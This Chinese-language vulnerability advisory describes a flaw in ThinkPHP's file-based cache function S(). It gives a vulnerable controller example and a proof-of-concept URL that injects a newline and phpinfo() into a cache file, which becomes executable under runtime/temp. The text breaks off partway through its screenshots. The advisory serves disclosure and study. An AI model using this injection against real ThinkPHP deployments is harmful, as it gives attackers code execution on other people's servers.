ThinkPHP某处设计缺陷可导致getshell

- AV AC AU C I A
发布: 2025-04-13
修订: 2025-04-13

### 简要描述: ThinkPHP某处设计缺陷可导致getshell ### 详细说明: thinkphp中有个缓存函数S,在使用文件方式的缓存的时候,程序会有写出文件的操作。由于没做好过滤导致了代码执行。 ``` <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ if (!S('aaaaa')) { S('aaaaa',$_GET['w']); echo 'cache ok'; } } } ?> ``` 判断缓存不存在则写出缓存文件。在使用文件缓存的时候,由于未对缓存文件设置访问权限。导致代码执行。 浏览器中访问 ``` http://localhost:8888/thinkphp/Home/Index/index/?w=%0A;phpinfo%28%29;// ``` [<img src="https://images.seebug.org/upload/201503/16181809ce0fa5eaa750b6307f66c248b6ea07aa.png" alt="QQ20150316-1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/16181809ce0fa5eaa750b6307f66c248b6ea07aa.png) 缓存写出成功,然后访问应用目录下的runtime/temp目录,文件名为key的32位md5. [<img src="https://images.seebug.org/upload/201503/161820500a69d1a03a3bf072631f7b81e3de08bc.png" alt="QQ20150316-2.png" width="600"...

0%
暂无可用Exp或PoC
当前有0条受影响产品信息